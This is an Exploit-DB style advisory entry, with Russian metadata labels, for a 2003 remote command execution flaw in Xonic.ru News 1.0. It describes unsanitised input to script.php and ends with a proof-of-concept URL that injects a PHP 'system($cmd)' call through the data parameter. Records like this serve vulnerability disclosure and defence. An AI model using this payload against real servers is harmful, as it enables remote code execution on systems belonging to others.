Exploit Xonic.ru News 1.0 - 'script.php' Remote Command Execution

[Exploiter]

EDB-ID

22501

Проверка EDB

1. Пройдено

Автор

DWC GR0UP

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2003-03-31

source: https://www.securityfocus.com/bid/7365/info

A vulnerability has been reported for Xonic.ru News. The problem occurs due to insufficient sanitization of user-supplied data to the 'script.php' file. As a result, it may be possible for an attacker to pass malicious PHP or shell commands in requests to a target server. All commands would be executed on the system with the privileges of the vulnerable application.

http://www.example.org/admin/script.php?data=script.php?data=<? system($cmd) ?>